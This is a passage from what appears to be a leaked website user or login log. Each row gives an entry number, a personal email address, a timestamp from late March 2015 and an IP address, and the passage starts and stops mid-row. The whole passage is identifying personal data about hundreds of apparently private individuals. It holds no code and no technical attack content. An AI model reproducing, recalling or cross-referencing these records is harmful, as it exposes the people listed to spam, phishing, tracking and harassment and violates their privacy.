08:23:47;84.100.178.46 +7202;papadia.cp@wanadoo.fr;2015-03-26 08:50:55;90.1.247.217 +7203;kari2ne@gmail.com;2015-03-26 09:26:15;90.83.72.209 +7204;kari2ne@gmail.com;2015-03-26 09:26:16;90.83.72.209 +7205;kari2ne@gmail.com;2015-03-26 09:29:07;90.83.72.209 +7206;frmanu@gmail.com;2015-03-26 09:32:51;109.13.182.122 +7207;moune.bonelli@gmail.com;2015-03-26 09:40:14;128.78.49.252 +7208;pikachu.kb@9online.fr;2015-03-26 09:43:43;31.39.117.191 +7209;pikachu.kb@9online.fr;2015-03-26 09:43:52;31.39.117.191 +7210;joelle.bourgeois57@gmail.com;2015-03-26 09:50:13;193.58.50.165 +7211;joelle.bourgeois57@gmail.com;2015-03-26 09:50:15;193.58.50.165 +7212;patce72@orange.fr;2015-03-26 09:53:32;92.93.169.99 +7213;laurence.bach@gmail.com;2015-03-26 10:02:00;78.218.42.104 +7214;katythierry@neuf.fr;2015-03-26 10:28:54;77.131.14.222 +7215;xfany@hotmail.fr;2015-03-26 10:34:05;82.246.167.168 +7216;marcel.chigouesnel@sfr.fr;2015-03-26 10:48:12;77.130.137.37 +7217;marieclode@live.fr;2015-03-26 11:02:22;88.138.153.128 +7218;marieclode@live.fr;2015-03-26 11:02:28;88.138.153.128 +7219;marieclode@live.fr;2015-03-26 11:02:29;88.138.153.128 +7220;cfpigeonnette@hotmail.fr;2015-03-26 11:11:03;82.247.34.74 +7221;margot.f94@gmail.com;2015-03-26 11:13:13;37.165.3.104 +7222;margot.f94@gmail.com;2015-03-26 11:13:16;37.165.3.104 +7223;nkfrugal@outlook.com;2015-03-26 11:53:43;82.247.5.171 +7224;evaetjuliegranier@gmail.com;2015-03-26 11:57:42;80.215.231.245 +7225;evaetjuliegranier@gmail.com;2015-03-26 11:57:54;80.215.231.245 +7226;annecharlotte.migot@gmail.com;2015-03-26 12:05:32;178.213.66.2 +7227;c.togna@laposte.net;2015-03-26 12:35:30;109.214.192.135 +7228;patochetoche@orange.fr;2015-03-26 12:37:04;109.217.145.146 +7229;phoeboeus@hotmail.com;2015-03-26 12:37:33;82.212.159.26 +7230;mariebous@yahoo.fr;2015-03-26 12:52:46;84.103.169.100 +7231;mariebous@yahoo.fr;2015-03-26 12:53:19;84.103.169.100 +7232;mariebous@yahoo.fr;2015-03-26 12:53:25;84.103.169.100 +7233;mariebous@yahoo.fr;2015-03-26 12:53:34;84.103.169.100 +7234;mariebous@yahoo.fr;2015-03-26 12:53:44;84.103.169.100 +7235;nicolas.coralie@free.fr;2015-03-26 13:00:57;78.213.248.99 +7236;tine.fore@laposte.net;2015-03-26 13:27:30;78.249.250.191 +7237;as.vomscheid@gmail.com;2015-03-26 13:33:13;31.34.188.173 +7238;as.vomscheid@gmail.com;2015-03-26 13:33:13;31.34.188.173 +7239;amelieg2003@yahoo.fr;2015-03-26 13:36:10;109.3.137.156 +7240;kasprzyk.celicia@yahoo.fr;2015-03-26 13:40:35;90.6.216.126 +7241;audrey-24-quoi@live.fr;2015-03-26 14:10:16;109.190.8.190 +7242;new@garancia.com;2015-03-26 14:12:29;80.215.135.218 +7243;hakimamaza@gmail.com;2015-03-26 14:22:39;212.99.106.85 +7244;u2-marie@hotmail.fr;2015-03-26 14:26:29;79.84.88.19 +7245;u2-marie@hotmail.fr;2015-03-26 14:26:34;79.84.88.19 +7246;familleluccisano@hotmail.fr;2015-03-26 14:41:07;81.65.171.129 +7247;u2-marie@hotmail.fr;2015-03-26 14:52:34;79.84.88.19 +7248;foulon.dq@wanadoo.fr;2015-03-26 14:59:01;90.63.147.250 +7249;foulon.dq@wanadoo.fr;2015-03-26 14:59:02;90.63.147.250 +7250;olivia.depaert@hotmail.fr;2015-03-26 15:00:28;92.145.144.153 +7251;olivia.depaert@hotmail.fr;2015-03-26 15:00:31;92.145.144.153 +7252;olivia.depart@hotmail.fr;2015-03-26 15:00:40;92.145.144.153 +7253;olivia.depart@hotmail.fr;2015-03-26 15:00:58;92.145.144.153 +7254;olivia.depart@hotmail.fr;2015-03-26 15:01:34;92.145.144.153 +7255;lioneldubuc@sfr.fr;2015-03-26 15:12:26;88.141.157.20 +7256;i.trubert@bbox.fr;2015-03-26 15:12:55;89.88.220.214 +7257;sandrateixeira04@gmail.com;2015-03-26 15:18:27;212.47.167.98 +7258;evaetjuliegranier@gmail.com;2015-03-26 15:46:05;80.215.230.235 +7259;evaetjuliegranier@gmail.com;2015-03-26 15:46:07;80.215.230.235 +7260;sylvie.vieu@wanadoo.fr;2015-03-26 15:46:45;92.143.170.37 +7261;sylvie.vieu@wanadoo.fr;2015-03-26 15:46:48;92.143.170.37 +7262;vseewaldb@yahoo.fr;2015-03-26 16:08:33;82.251.119.42 +7263;vseewaldb@yahoo.fr;2015-03-26 16:09:06;82.251.119.42 +7264;audray34@aol.com;2015-03-26 16:09:10;82.238.145.93 +7265;vseewaldb@yahoo.fr;2015-03-26 16:09:11;82.251.119.42 +7266;audray34@aol.com;2015-03-26 16:09:13;82.238.145.93 +7267;celinesurlenet@hotmail.com;2015-03-26 16:12:15;91.183.113.216 +7268;celinesurlenet@hotmail.com;2015-03-26 16:12:40;91.183.113.216 +7269;celinesurlenet@hotmail.com;2015-03-26 16:14:43;91.183.113.216 +7270;celinesurlenet@hotmail.com;2015-03-26 16:14:54;91.183.113.216 +7271;mary2406@free.fr;2015-03-26 16:15:26;82.236.157.217 +7272;vivipeel74@free.fr;2015-03-26 16:30:57;78.224.127.29 +7273;clyvia@hotmail.fr;2015-03-26 16:35:33;88.172.120.70 +7274;v_francou@yahoo.fr;2015-03-26 17:05:06;78.216.248.134 +7275;vipou@live.fr;2015-03-26 17:35:44;80.215.199.79 +7276;vipou@live.fr;2015-03-26 17:35:48;80.215.199.79 +7277;marcel.chigouesnel@sfr.fr;2015-03-26 17:52:46;77.130.137.37 +7278;lapetite_aud@hotmail.com;2015-03-26 17:55:06;80.215.230.122 +7279;lapetite_aud@hotmail.com;2015-03-26 17:55:14;80.215.230.122 +7280;detraz.marine93@gmail.com;2015-03-26 18:32:11;78.113.215.57 +7281;detraz.marine93@gmail.com;2015-03-26 18:32:39;78.113.215.57 +7282;bonnisseau.guy@wanadoo.fr;2015-03-26 18:50:03;92.160.20.221 +7283;leclerluci@yahoo.fr;2015-03-26 18:55:46;92.132.167.107 +7284;leclerluci@yahoo.fr;2015-03-26 18:55:51;92.132.167.107 +7285;leclerluci@yahoo.fr;2015-03-26 18:56:00;92.132.167.107 +7286;leclerluci@yahoo.fr;2015-03-26 18:56:26;92.132.167.107 +7287;leclerluci@yahoo.fr;2015-03-26 18:56:46;92.132.167.107 +7288;leclerluci@yahoo.fr;2015-03-26 18:56:49;92.132.167.107 +7289;leclerluci@yahoo.fr;2015-03-26 18:56:55;92.132.167.107 +7290;tlazcanotegui@yahoo.fr;2015-03-26 19:22:23;93.29.97.69 +7291;philippe.robin264@orange.fr;2015-03-26 19:37:21;83.198.171.176 +7292;dom.first-team@bbox.fr;2015-03-26 19:42:51;176.180.239.82 +7293;npaire@hotmail.fr;2015-03-26 20:55:12;88.189.188.90 +7294;aubonemarlene@yahoo.fr;2015-03-26 21:18:47;92.157.70.241 +7295;aubonemarlene@yahoo.fr;2015-03-26 21:18:53;92.157.70.241 +7296;aubonemarlene@yahoo.fr;2015-03-26 21:18:54;92.157.70.241 +7297;aubonemarlene@yahoo.fr;2015-03-26 21:19:17;92.157.70.241 +7298;aubonemarlene@yahoo.fr;2015-03-26 21:19:43;92.157.70.241 +7299;tissia570@hotmail.fr;2015-03-26 21:38:21;188.7.225.104 +7300;arabia.sandrine@orange.fr;2015-03-26 21:39:32;92.143.194.49 +7301;arabia.sandrine@orange.fr;2015-03-26 21:39:37;92.143.194.49 +7302;arabia.sandrine@orange.fr;2015-03-26 21:39:55;92.143.194.49 +7303;sandrine.olivar@gmail.com;2015-03-26 21:50:11;92.93.5.184 +7304;sandrine.olivar@gmail.com;2015-03-26 21:50:14;92.93.5.184 +7305;zyt_0220@163.com;2015-03-26 22:01:17;92.90.20.88 +7306;zyt_0220@163.com;2015-03-26 22:01:19;92.90.20.88 +7307;zyt_0220@163.com;2015-03-26 22:01:26;92.90.20.88 +7308;zyt_0220@163.com;2015-03-26 22:01:44;92.90.20.88 +7309;zyt_0220@163.com;2015-03-26 22:01:48;92.90.20.88 +7310;tianjingirl1986@gmail.com;2015-03-26 22:02:10;92.90.20.88 +7311;tianjingirl1986@gmail.com;2015-03-26 22:02:15;92.90.20.88 +7312;tianjingirl1986@gmail.com;2015-03-26 22:02:57;92.90.20.88 +7313;tianjingirl1986@gmail.com;2015-03-26 22:02:58;92.90.20.88 +7314;new@garancia.com;2015-03-26 22:03:04;92.157.70.241 +7315;new@garancia.com;2015-03-26 22:03:15;92.157.70.241 +7316;new@garancia.com;2015-03-26 22:03:17;92.157.70.241 +7317;new@garancia.com;2015-03-26 22:03:18;92.157.70.241 +7318;new@garancia.com;2015-03-26 22:03:19;92.157.70.241 +7319;new@garancia.com;2015-03-26 22:03:43;92.157.70.241 +7320;new@garancia.com;2015-03-26 22:03:45;92.157.70.241 +7321;new@garancia.com;2015-03-26 22:03:46;92.157.70.241 +7322;new@garancia.com;2015-03-26 22:03:48;92.157.70.241 +7323;new@garancia.com;2015-03-26 22:03:48;92.157.70.241 +7324;new@garancia.com;2015-03-26 22:03:49;92.157.70.241 +7325;12drenau@wanadoo.fr;2015-03-26 22:03:55;82.120.31.240 +7326;sylvia.gg@orange.fr;2015-03-26 22:09:56;2.11.214.18 +7327;soacynthiasoa@yahoo.fr;2015-03-26 22:11:10;86.210.108.203 +7328;soacynthiasoa@yahoo.fr;2015-03-26 22:11:18;86.210.108.203 +7329;soacynthiasoa@yahoo.fr;2015-03-26 22:11:41;86.210.108.203 +7330;sylvia.gg@orange.fr;2015-03-26 22:15:35;2.11.214.18 +7331;sylvia.gg@orange.fr;2015-03-26 22:15:38;2.11.214.18 +7332;sylvia.gg@orange.fr;2015-03-26 22:15:40;2.11.214.18 +7333;maitremarjo@gmail.com;2015-03-26 22:15:49;83.153.129.41 +7334;mostho@aol.com;2015-03-26 22:17:35;92.129.108.131 +7335;mostho@aol.com;2015-03-26 22:17:44;92.129.108.131 +7336;mostho@aol.com;2015-03-26 22:17:46;92.129.108.131 +7337;mostho@aol.com;2015-03-26 22:18:03;92.129.108.131 +7338;new@garancia.com;2015-03-26 22:18:16;92.157.70.241 +7339;new@garancia.com;2015-03-26 22:18:18;92.157.70.241 +7340;new@garancia.com;2015-03-26 22:18:19;92.157.70.241 +7341;new@garancia.com;2015-03-26 22:18:35;92.157.70.241 +7342;new@garancia.com;2015-03-26 22:18:37;92.157.70.241 +7343;new@garancia.com;2015-03-26 22:18:38;92.157.70.241 +7344;jeanflorence@sfr.fr;2015-03-26 22:21:02;77.129.237.20 +7345;jeanflorence@sfr.fr;2015-03-26 22:21:04;77.129.237.20 +7346;as.larour@gmail.com;2015-03-26 22:30:30;88.184.90.40 +7347;as.larour@gmail.com;2015-03-26 22:30:36;88.184.90.40 +7348;as.larour@gmail.com;2015-03-26 22:30:51;88.184.90.40 +7349;SYLVIA.GG@ORANGE.FR;2015-03-26 22:40:29;2.11.214.18 +7350;SYLVIA.GG@ORANGE.FR;2015-03-26 22:40:46;2.11.214.18 +7351;sylvia.gg@orange.fr;2015-03-26 22:47:00;2.11.214.18 +7352;soniabgraphiste@gmail.com;2015-03-26 23:04:15;78.192.20.185 +7353;soniabgraphiste@gmail.com;2015-03-26 23:04:18;78.192.20.185 +7354;soniabgraphiste@gmail.com;2015-03-26 23:04:32;78.192.20.185 +7355;soniabgraphiste@gmail.com;2015-03-26 23:04:44;78.192.20.185 +7356;soniabgraphiste@gmail.com;2015-03-26 23:05:01;78.192.20.185 +7357;joangie@hotmail.com;2015-03-26 23:07:16;90.17.147.57 +7358;virginiebelleri@gmail.com;2015-03-26 23:13:30;31.38.232.239 +7359;virginiebelleri@gmail.com;2015-03-26 23:13:40;31.38.232.239 +7360;virginiebelleri@gmail.com;2015-03-26 23:13:41;31.38.232.239 +7361;chabane.zohra@hotmail.fr;2015-03-26 23:18:51;78.225.82.3 +7362;chabane.zohra@hotmail.fr;2015-03-26 23:18:58;78.225.82.3 +7363;marie.lledo@hotmail.fr;2015-03-26 23:28:08;90.8.125.32 +7364;eberthomieu@yahoo.fr;2015-03-26 23:41:16;90.57.77.186 +7365;eberthomieu@yahoo.fr;2015-03-26 23:41:24;90.57.77.186 +7366;guitteauv@hotmail.fr;2015-03-26 23:45:54;83.156.189.181 +7367;guitteauv@hotmail.fr;2015-03-26 23:46:01;83.156.189.181 +7368;rene.odette@wanadoo.fr;2015-03-27 07:04:38;86.194.137.165 +7369;rene.odette@wanadoo.fr;2015-03-27 07:04:44;86.194.137.165 +7370;c-le-bonheur@hotmail.fr;2015-03-27 07:21:35;90.41.29.156 +7371;jeanne.scandella19@gmail.com;2015-03-27 08:01:31;109.212.127.181 +7372;lydia.foll@gmail.com;2015-03-27 08:26:13;82.253.109.113 +7373;lydia.foll@gmail.com;2015-03-27 08:26:14;82.253.109.113 +7374;nathalie.pouilly@ravensburger.com;2015-03-27 08:30:27;83.198.120.228 +7375;nathalie.pouilly@ravensburger.com;2015-03-27 08:30:35;83.198.120.228 +7376;nathalie.clery@orange.fr;2015-03-27 08:58:15;145.248.195.1 +7377;nathalie-vienney@hotmail.fr;2015-03-27 09:14:37;88.183.134.111 +7378;isabellemellac@orange.fr;2015-03-27 09:17:17;90.5.79.181 +7379;sabrinaguenescheau@gmail.com;2015-03-27 09:36:36;86.196.204.131 +7380;sabrinaguenescheau@gmail.com;2015-03-27 09:36:41;86.196.204.131 +7381;sabrinaguenescheau@gmail.com;2015-03-27 09:37:08;86.196.204.131 +7382;sabrinaguenescheau@gmail.com;2015-03-27 09:37:08;86.196.204.131 +7383;sabrinaguenescheau@gmail.com;2015-03-27 09:37:46;86.196.204.131 +7384;sabrinaguenescheau@gmail.com;2015-03-27 09:37:47;86.196.204.131 +7385;jiangyvjie@yahoo.fr;2015-03-27 09:39:15;82.66.140.208 +7386;v.gerardin74@laposte.net;2015-03-27 09:42:47;78.232.208.241 +7387;marinedemulder@hotmail.com;2015-03-27 09:53:02;78.129.15.100 +7388;marinedemulder@hotmail.com;2015-03-27 09:53:04;78.129.15.100 +7389;kinna.lg@voila.fr;2015-03-27 09:54:03;81.56.232.9 +7390;FGALLOUX@GMAIL.COM;2015-03-27 09:57:58;82.244.118.149 +7391;fgalloux@gmail.com;2015-03-27 10:00:08;82.244.118.149 +7392;fgalloux@gmail.com;2015-03-27 10:04:20;82.244.118.149 +7393;fgalloux@gmail.com;2015-03-27 10:05:20;82.244.118.149 +7394;mortel.buffy@minel.fr;2015-03-27 10:28:39;88.187.185.150 +7395;emma.malergue@gmail.com;2015-03-27 10:39:24;109.190.95.69 +7396;e.plault@yahoo.fr;2015-03-27 11:09:41;193.49.239.174 +7397;florenceburot@gmail.com;2015-03-27 11:13:49;62.23.122.2 +7398;opaline.5@hotmail.fr;2015-03-27 11:22:32;88.123.194.117 +7399;opaline.5@hotmail.fr;2015-03-27 11:22:38;88.123.194.117 +7400;opaline.5@hotmail.fr;2015-03-27 11:22:56;88.123.194.117 +7401;sissoun007@gmail.com;2015-03-27 11:23:27;86.70.53.157 +7402;cline.do@live.fr;2015-03-27 11:24:46;88.180.63.15 +7403;algodonmaya@hotmail.fr;2015-03-27 11:40:58;78.246.88.42 +7404;busra.torbali@laposte.net;2015-03-27 11:48:49;81.80.172.65 +7405;nougat1975@hotmail.fr;2015-03-27 11:58:56;109.209.7.152 +7406;nathalieblaise73@free.fr;2015-03-27 12:01:50;81.80.93.13 +7407;gailletviviane@yahoo.fr;2015-03-27 12:16:30;109.1.100.124 +7408;CORINNE081964@FREE.FR;2015-03-27 12:32:26;92.136.80.43 +7409;c.jassogne@gmail.com;2015-03-27 13:24:09;83.193.174.190 +7410;c.jassogne@gmail.com;2015-03-27 13:25:41;83.193.174.190 +7411;bernadette668@gmail.com;2015-03-27 13:45:14;213.169.183.180 +7412;duprezalclo@aol.com;2015-03-27 13:46:52;92.92.146.82 +7413;pastureau.audrey@free.fr;2015-03-27 13:58:30;80.215.194.84 +7414;pastureau.audrey@free.fr;2015-03-27 13:58:38;80.215.194.84 +7415;juliette.scherer@gmail.com;2015-03-27 14:15:58;167.64.72.10 +7416;sncaubretvial@free.fr;2015-03-27 14:16:58;88.165.222.48 +7417;sncaubretvial@free.fr;2015-03-27 14:18:11;88.165.222.48 +7418;karine.andre29@orange.fr;2015-03-27 14:28:59;2.11.222.220 +7419;odrey77@gmail.com;2015-03-27 14:30:32;80.215.132.114 +7420;odrey77@gmail.com;2015-03-27 14:30:41;80.215.132.114 +7421;odrey77@gmail.com;2015-03-27 14:30:44;80.215.132.114 +7422;e.stell.e.s@hotmail.fr;2015-03-27 14:41:20;80.215.161.231 +7423;e.stell.e.s@hotmail.fr;2015-03-27 14:41:22;80.215.161.231 +7424;e.stell.e.s@hotmail.fr;2015-03-27 14:41:24;80.215.161.231 +7425;e.stell.e.s@hotmail.fr;2015-03-27 14:41:28;80.215.161.231 +7426;e.stell.e.s@hotmail.fr;2015-03-27 14:41:32;80.215.161.231 +7427;e.stell.e.s@hotmail.fr;2015-03-27 14:41:39;80.215.161.231 +7428;celine.serre174@orange.fr;2015-03-27 14:48:02;86.207.176.199 +7429;nathaliepilon@sfr.fr;2015-03-27 14:56:00;77.204.221.241 +7430;sabrinaguenescheau@gmail.com;2015-03-27 14:56:24;93.9.138.31 +7431;new@garancia.com;2015-03-27 14:56:46;93.9.138.31 +7432;new@garancia.com;2015-03-27 14:56:56;93.9.138.31 +7433;new@garancia.com;2015-03-27 14:57:06;93.9.138.31 +7434;rouby23@hotmail.fr;2015-03-27 15:00:09;78.243.10.186 +7435;0103571pharmacieguibourg@wanadoo.fr;2015-03-27 15:04:33;81.48.79.141 +7436;pharmacieguibourg@wanadoo.fr;2015-03-27 15:04:46;81.48.79.141 +7437;rigaud-ac@hotmail.fr;2015-03-27 15:12:53;92.90.21.79 +7438;rigaud-ac@hotmail.fr;2015-03-27 15:12:57;92.90.21.79 +7439;m.galibert2@gmail.com;2015-03-27 15:22:34;80.12.43.153 +7440;m.galibert2@gmail.com;2015-03-27 15:22:45;80.12.43.153 +7441;m.galibert2@gmail.com;2015-03-27 15:22:46;80.12.43.153 +7442;m.galibert2@gmail.com;2015-03-27 15:23:04;80.12.43.153 +7443;leslie77111@gmail.com;2015-03-27 15:23:16;62.34.225.194 +7444;julia.poujol@free.fr;2015-03-27 15:39:04;80.13.196.150 +7445;florence.nicolas881@orange.fr;2015-03-27 15:41:59;86.201.157.154 +7446;valerie.lechevillier@orange.fr;2015-03-27 15:54:02;90.32.0.248 +7447;cedric.delolme@wanadoo.fr;2015-03-27 15:58:11;194.8.148.35 +7448;anniedg@bell.net;2015-03-27 16:10:10;174.93.154.224 +7449;anniedg@bell.net;2015-03-27 16:10:55;174.93.154.224 +7450;zarah_one@hotmail.fr;2015-03-27 16:11:06;2.10.127.230 +7451;zarah_one@hotmail.fr;2015-03-27 16:11:38;2.10.127.230 +7452;anniedg@bell.net;2015-03-27 16:11:46;174.93.154.224 +7453;heuk.myriam@aol.fr;2015-03-27 16:13:03;78.112.106.182 +7454;anniedg@bell.net;2015-03-27 16:16:46;174.93.154.224 +7455;anniedg@bell.net;2015-03-27 16:16:55;174.93.154.224 +7456;cpabx@hotmail.fr;2015-03-27 16:26:38;84.102.1.146 +7457;cpabx@hotmail.fr;2015-03-27 16:26:42;84.102.1.146 +7458;cpabx@hotmail.fr;2015-03-27 16:26:52;84.102.1.146 +7459;cpabx@hotmail.fr;2015-03-27 16:27:05;84.102.1.146 +7460;cpabx@hotmail.fr;2015-03-27 16:27:08;84.102.1.146 +7461;cpabx@hotmail.fr;2015-03-27 16:27:10;84.102.1.146 +7462;cpabx@hotmail.fr;2015-03-27 16:27:13;84.102.1.146 +7463;cpabx@hotmail.fr;2015-03-27 16:27:16;84.102.1.146 +7464;cpabx@hotmail.fr;2015-03-27 16:27:32;84.102.1.146 +7465;cpabx@hotmail.fr;2015-03-27 16:27:49;84.102.1.146 +7466;cpabx@hotmail.fr;2015-03-27 16:27:50;84.102.1.146 +7467;emmafulgence@gmail.com;2015-03-27 16:36:11;2.6.49.143 +7468;new@garancia.com;2015-03-27 16:36:11;92.157.70.241 +7469;helene.hamon@ajp-immobilier.com;2015-03-27 16:55:55;80.15.3.21 +7470;helene.hamon@ajp-immobilier.com;2015-03-27 16:59:07;80.15.3.21 +7471;helene.hamon@ajp-immobilier.com;2015-03-27 17:00:35;80.15.3.21 +7472;myriamjhagronchauvin@free.fr;2015-03-27 17:25:06;78.230.27.60 +7473;nicole.trichet@cegetel.net;2015-03-27 17:45:04;88.139.187.52 +7474;nicole.trichet@cegetel.net;2015-03-27 17:45:08;88.139.187.52 +7475;nicole.trichet@cegetel.net;2015-03-27 17:45:14;88.139.187.52 +7476;nicole.trichet@cegetel.net;2015-03-27 17:45:23;88.139.187.52 +7477;Barbaraserreri@sfr.fr;2015-03-27 17:54:32;92.90.16.1 +7478;Barbaraserreri@sfr.fr;2015-03-27 17:54:35;92.90.16.1 +7479;marinejuju2404@hotmail.com;2015-03-27 18:02:06;92.90.20.181 +7480;evelynegardais@gmail.com;2015-03-27 18:20:19;90.57.160.130 +7481;evelynegardais@gmail.com;2015-03-27 18:20:27;90.57.160.130 +7482;pimpas.paradise@hotmail.fr;2015-03-27 18:43:26;80.185.72.119 +7483;pimpas.paradise@hotmail.fr;2015-03-27 18:43:38;80.185.72.119 +7484;hilprol@gmail.com;2015-03-27 18:43:39;83.194.77.140 +7485;pimpas.paradise@hotmail.fr;2015-03-27 18:43:50;80.185.72.119 +7486;pimpas.paradise@hotmail.fr;2015-03-27 18:44:10;80.185.72.119 +7487;soudeher@free.fr;2015-03-27 19:35:24;37.165.37.74 +7488;soudeher@free.fr;2015-03-27 19:35:38;37.165.37.74 +7489;soudeher@free.fr;2015-03-27 19:35:38;37.165.37.74 +7490;fabsanflosac@gmail.com;2015-03-27 19:36:50;88.141.137.80 +7491;fabsanflosac@gmail.com;2015-03-27 19:37:23;88.141.137.80 +7492;fabsanflosac@gmail.com;2015-03-27 19:37:44;88.141.137.80 +7493;fabsanflosac@gmail.com;2015-03-27 19:39:39;88.141.137.80 +7494;lemouee@hotmail.fr;2015-03-27 19:58:00;92.153.97.83 +7495;lemouee@hotmail.fr;2015-03-27 19:58:09;92.153.97.83 +7496;lemouee@hotmail.fr;2015-03-27 19:58:12;92.153.97.83 +7497;naphilippon@laposte.net;2015-03-27 20:16:27;90.0.49.22 +7498;naphilippon@laposte.net;2015-03-27 20:16:36;90.0.49.22 +7499;naphilippon@laposte.net;2015-03-27 20:16:44;90.0.49.22 +7500;naphilippon@laposte.net;2015-03-27 20:16:58;90.0.49.22 +7501;nheranval@yahoo.fr;2015-03-27 20:19:17;90.51.201.8 +7502;anais.lorrain@gmail.com;2015-03-27 20:32:37;86.199.142.25 +7503;new@garancia.com;2015-03-27 20:32:44;92.153.97.83 +7504;new@garancia.com;2015-03-27 20:32:56;92.153.97.83 +7505;new@garancia.com;2015-03-27 20:33:06;92.153.97.83 +7506;new@garancia.com;2015-03-27 20:33:52;92.153.97.83 +7507;nathalie_flament@outlook.com;2015-03-27 20:44:51;89.156.59.151 +7508;nathalie_flament@outlook.com;2015-03-27 20:44:58;89.156.59.151 +7509;nathalie_flament@outlook.com;2015-03-27 20:46:52;89.156.59.151 +7510;annamarina@orange.fr;2015-03-27 20:47:46;92.138.11.50 +7511;annamarina@orange.fr;2015-03-27 20:47:50;92.138.11.50 +7512;audrey.gregoire@live.fr;2015-03-27 20:53:48;78.241.117.126 +7513;audrey.gregoire@live.fr;2015-03-27 20:53:51;78.241.117.126 +7514;audrey.gregoire@live.fr;2015-03-27 20:53:56;78.241.117.126 +7515;herrier_isabelle@orange.fr;2015-03-27 21:16:34;92.134.26.59 +7516;sophie.james@aliceadsl.fr;2015-03-27 21:21:51;78.216.232.160 +7517;laetitiamur@hotmail.fr;2015-03-27 22:00:29;90.45.55.32 +7518;laetitiamur@hotmail.fr;2015-03-27 22:00:34;90.45.55.32 +7519;laetitiamur@hotmail.fr;2015-03-27 22:00:41;90.45.55.32 +7520;laetitiamur@hotmail.fr;2015-03-27 22:01:10;90.45.55.32 +7521;mateolucile@gmail.com;2015-03-27 22:17:36;89.92.134.247 +7522;mateolucile@gmail.com;2015-03-27 22:17:40;89.92.134.247 +7523;annemarie.lagant@orange.fr;2015-03-27 22:20:19;86.192.251.185 +7524;annemarie.lagant@orange.fr;2015-03-27 22:20:22;86.192.251.185 +7525;aboulery@gmail.com;2015-03-27 22:33:40;92.146.226.11 +7526;hennebellevalerie@hotmail.fr;2015-03-27 22:37:24;78.243.161.113 +7527;hennebellevalerie@hotmail.fr;2015-03-27 22:37:47;78.243.161.113 +7528;hennebellevalerie@hotmail.fr;2015-03-27 22:38:03;78.243.161.113 +7529;pititboun@hotmail.fr;2015-03-27 22:51:03;88.137.124.250 +7530;pititboun@hotmail.fr;2015-03-27 22:51:16;88.137.124.250 +7531;pititboun@hotmail.fr;2015-03-27 22:51:17;88.137.124.250 +7532;swouters1973@gmail.com;2015-03-27 23:20:19;81.57.128.51 +7533;swouters1973@gmail.com;2015-03-27 23:20:47;81.57.128.51 +7534;swouters1973@gmail.com;2015-03-27 23:20:50;81.57.128.51 +7535;aurelie.crequesel@laposte.net;2015-03-27 23:33:08;90.34.136.74 +7536;aurelie.croquesel@laposte.net;2015-03-27 23:33:16;90.34.136.74 +7537;croquesel.aurelie@laposte.net;2015-03-27 23:33:47;90.34.136.74 +7538;croquesel.aurelie@laposte.net;2015-03-27 23:33:57;90.34.136.74 +7539;croquesel.aurelie@laposte.net;2015-03-27 23:34:00;90.34.136.74 +7540;anne.flury@hotmail.com;2015-03-27 23:34:36;89.217.29.196 +7541;isabelle.usclas@hotmail.fr;2015-03-27 23:50:13;87.89.113.221 +7542;angelique27120@live.fr;2015-03-28 01:04:22;197.19.142.47 +7543;elodie.delpy@orange.fr;2015-03-28 06:04:04;90.58.104.191 +7544;christine.biname@orange.fr;2015-03-28 06:31:35;86.218.147.17 +7545;gr@gmai.fr;2015-03-28 07:15:20;89.159.252.43 +7546;gr@gmai.fr;2015-03-28 07:15:31;89.159.252.43 +7547;gr@gmail.fr;2015-03-28 07:15:44;89.159.252.43 +7548;gr@gmail.fr;2015-03-28 07:15:48;89.159.252.43 +7549;fr.guin@gmail.com;2015-03-28 07:16:11;89.159.252.43 +7550;fr.guin@gmail.com;2015-03-28 07:16:15;89.159.252.43 +7551;fr.guin@gmail.com;2015-03-28 07:16:20;89.159.252.43 +7552;fr.guin@gmail.com;2015-03-28 07:16:23;89.159.252.43 +7553;fr.guin@gmail.com;2015-03-28 07:17:07;89.159.252.43 +7554;colette.servet785@orange.fr;2015-03-28 07:18:41;88.140.175.20 +7555;delhotalval@gmail.com;2015-03-28 08:05:43;37.161.53.125 +7556;delhotalval@gmail.com;2015-03-28 08:05:48;37.161.53.125 +7557;delhotalval@gmail.com;2015-03-28 08:06:10;37.161.53.125 +7558;delhotalval@gmail.com;2015-03-28 08:06:28;37.161.53.125 +7559;ntilly@wanadoo.fr;2015-03-28 08:15:16;85.95.214.201 +7560;ntilly@wanadoo.fr;2015-03-28 08:15:23;85.95.214.201 +7561;ntilly@wanadoo.fr;2015-03-28 08:15:24;85.95.214.201 +7562;isa.pfeiffer@hotmail.fr;2015-03-28 08:17:50;81.251.8.177 +7563;catherine.lecorre@hotmail.fr;2015-03-28 08:19:01;90.51.109.13 +7564;catherine.lecorre@hotmail.fr;2015-03-28 08:19:06;90.51.109.13 +7565;catherine.lecorre@hotmail.fr;2015-03-28 08:19:28;90.51.109.13 +7566;writers.inc@sfr.fr;2015-03-28 08:46:25;86.77.139.228 +7567;amy18915@hotmail.com;2015-03-28 09:32:26;88.160.190.143 +7568;eloise-rocher@orange.fr;2015-03-28 09:54:36;109.212.211.217 +7569;vousmenmerdez@free.fr;2015-03-28 09:56:03;92.143.89.210 +7570;vousmenmerdez@free.fr;2015-03-28 09:56:07;92.143.89.210 +7571;vousmenmerdez@orange.fr;2015-03-28 09:56:18;92.143.89.210 +7572;nathalie.rousselot@laposte.net;2015-03-28 09:59:00;77.194.98.17 +7573;lys.06@live.fr;2015-03-28 10:37:26;84.101.61.242 +7574;barbaraserreri@sfr.fr;2015-03-28 10:51:34;109.17.94.96 +7575;barbaraserreri@sfr.fr;2015-03-28 10:51:41;109.17.94.96 +7576;etienne.bureau@neuf.fr;2015-03-28 11:01:49;88.137.139.92 +7577;isalelouer@hotmail.fr;2015-03-28 11:24:31;88.189.17.182 +7578;new@garancia.com;2015-03-28 11:45:28;82.227.253.223 +7579;new@garancia.com;2015-03-28 11:45:32;82.227.253.223 +7580;new@garancia.com;2015-03-28 11:45:40;82.227.253.223 +7581;new@garancia.com;2015-03-28 11:46:02;82.227.253.223 +7582;gigi_picardie@hotmail.fr;2015-03-28 11:46:37;86.70.12.122 +7583;josy43@aol.com;2015-03-28 11:48:38;195.101.47.62 +7584;new@garancia.com;2015-03-28 11:54:09;82.227.253.223 +7585;new@garancia.com;2015-03-28 11:55:22;82.227.253.223 +7586;new@garancia.com;2015-03-28 11:55:32;82.227.253.223 +7587;mymymr@hotmail.com;2015-03-28 11:56:32;83.203.212.212 +7588;mymymr@hotmail.com;2015-03-28 11:56:38;83.203.212.212 +7589;mymymr@hotmail.com;2015-03-28 11:56:40;83.203.212.212 +7590;mymymr@hotmail.com;2015-03-28 11:56:41;83.203.212.212 +7591;mymymr@hotmail.com;2015-03-28 